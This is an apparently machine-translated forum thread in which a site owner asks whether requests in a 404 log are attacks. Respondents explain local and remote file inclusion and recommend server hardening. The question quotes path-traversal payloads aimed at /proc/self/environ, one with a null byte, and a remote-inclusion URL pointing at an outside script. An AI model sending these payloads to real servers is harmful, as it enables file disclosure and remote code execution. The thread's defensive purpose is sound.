це спроба злому?

Переглядаючи свої 404 журнали, я помітив наступні дві URL-адреси, обидві з яких траплялися один раз:

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

і

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00

Сторінка, про яку йдеться, library.phpвимагає typeзмінну з півдесятка різних прийнятних значень, а потім idзмінну. Тож може бути дійсною URL-адресою

library.php?type=Circle-K&id=Strange-Things-Are-Afoot

і ідентифікатори виконуються, mysql_real_escape_stringперш ніж використовуватись для запиту бази даних.

Я новачок, але мені здається, що обидва ці посилання - це прості атаки на веб-кореневище?

1) Як найкраще захистити від подібних речей, крім 404?

2) Чи повинен я мати відповідальність за IP-адреси?

EDIT: також щойно помітив це

/library.php=http://www.basfalt.no/scripts/danger.txt

EDIT 2: Критичний IP для всіх 3-х атак - це те, 216.97.231.15що простежується до Інтернет-провайдера під назвою Lunar Pages, розташованого неподалік від Лос-Анджелеса.

EDIT 3: Я вирішив зателефонувати за місцевим часом у п'ятницю вранці в Інтернет-провайдера та обговорити проблему з тим, кого я можу отримати по телефону. Результати я опублікую тут через 24 години.

EDIT 4: Я закінчив надіслати електронною поштою їх адміністраторам, і вони відповіли спочатку, що "вони розглядали це питання", а потім через день із "цим питанням слід вирішити зараз". Більше ніяких деталей, на жаль.

0) Так. Принаймні, це систематичний пошук щодо вашого веб-сайту, який намагається виявити, чи є він уразливим.

1) Окрім того, щоб переконатися, що ваш код чистий, ви не можете багато чого зробити, але запустити власні тести проти свого хоста, щоб переконатися, що він безпечний. Google Skipfish - один із багатьох інструментів, які допоможуть вам там.

2) Я б.

Це напад, це дуже пояснюється тут .

Як казали інші: так, це спроба злому. Майте на увазі, що крім цієї, можливо, ручної спроби, існує багато і багато автоматизованих, якими керують ботнети. Як правило, такі атаки намагаються проникнути через вікові вразливості та / або деякі типові недоліки кодування, такі як невдача перевірки введення користувача, що призводить до інжекції SQL, витоку системи чи файлів тощо.

Заборона заборони цих ботнетів вручну, швидше за все, неможлива, оскільки ботнети можуть використовувати до тисяч унікальних IP-адрес, тому, якщо ви хочете їх заборонити, вам доведеться використовувати якусь автоматизовану програму заборони. fail2ban приходить мені в голову; змусити його реагувати на події mod_security або деякі інші записи журналу.

Якщо ваш код чистий, а сервер загартований, ці спроби злому є лише дратівливим забрудненням журналу. Але краще вжити заходів обережності та врахувати деякі чи всі наступні дії, залежно від ваших потреб:

• mod_security - модуль Apache, який фільтрує всі типові типові спроби злому. Він також може обмежувати вихідний трафік (сторінку, яку ваш сервер надсилає клієнту), якщо він бачить підозрілий JavaScript тощо.

• Сухосін для загартовування самого PHP.

• Запустіть сценарії PHP як користувач, якому належить сценарій; такі речі, як suphp та php-fpm, це можливо.

• Встановіть тимчасовий каталог веб-кореневих та PHP як noexec, nosuid, nodev .

• Вимкнути непотрібні функції PHP, такі як система та passthru .

• Вимкнути непотрібні модулі PHP. Наприклад, якщо вам не потрібна підтримка IMAP, не вмикайте її.

• Будьте в курсі вашого сервера.

• Слідкуйте за журналами.

• Переконайтеся, що у вас є резервні копії.

• Майте план, що робити, якщо хтось зламає вас або інша катастрофа потрапить на вас.

Це гарний початок. Тоді є ще більш екстремальні заходи, такі як Snort і Prelude , але вони можуть бути дуже непосильними для більшості установок.

Цілком ймовірно, що машина, яка робить ці запити, - це зомбі ботнету. Якщо ви отримуєте ці запити з декількох IP-адрес, їх, мабуть, не варто їх забороняти, оскільки вам доведеться заборонити половину Інтернету, щоб він був ефективним.

Як вже було сказано - це спроба отримати доступ до файлу / proc / self / оточення, щоб отримати більше інформації.

Я припускаю, що це машина Linux:

Ви повинні використовувати

• suhosin ( http://www.hardened-php.net/suhosin/ ) - захищає скрипти PHP
• використовувати обмеження php openbasedir
• fail2ban http://www.fail2ban.org/

Ви можете заблокувати ip сервера, що атакує, але слід врахувати, що це може бути неагресивним у цій функції.

Я колись блокував деякі сервіси, коли мій сервер підпадає під атаку: http / https / pop / imap / ssh, але залишаю відкритим smtp, щоб вас могли повідомити, якщо ви помилилися.

Так, це спроба вторгнення. Ви обов'язково повинні заборонити IP. Якщо ви визначите, що IP є поза країною, ви можете просто заборонити всю підмережу, до якої належить. Це менше питання коду, ніж це проблема сервера. Подивіться на цю особливу інтрузію та переконайтесь, що ваш хостинг-провайдер не вразливий до неї чи подібним спробам малюка сценарію (як виглядає цей).

Це спроба використовувати потенційну довільну локальну вразливість локальних файлів у скриптах на стороні сервера, доступних через ваш веб-сервер. На вразливій системі Linux /proc/self/environможна зловживати виконанням довільного коду на стороні сервера.

Як рекомендує Жанна Піккарайнен:

Слідкуйте за журналами.

Переконайтеся, що у вас є резервні копії.

У рамках цих журналів важливо стежити за змінами будь-якого з ваших файлів, включаючи веб-сайт, як частини системи виявлення вторгнень. Приклад - OpenBSD, який робить це за замовчуванням для конфігураційних файлів. Я піднімаю це, тому що:

• Для Cloud Sites були незначні модифікації файлів PHP на спеціально створеному веб-сайті (це просто виведення нестандартного тегу, але, можливо, частина тесту для вимірювання масштабу експлуатації).
• Для одного колеги було тонких переадресацій у їхньому файлі WordPress .htaccess (лише реферати з результатів пошуку Google).
• Для іншого співробітника були тонкі модифікації їх конфігураційного файлу Joomla (не можу пригадати що, я думаю, що це було і перенаправлення за певних умов).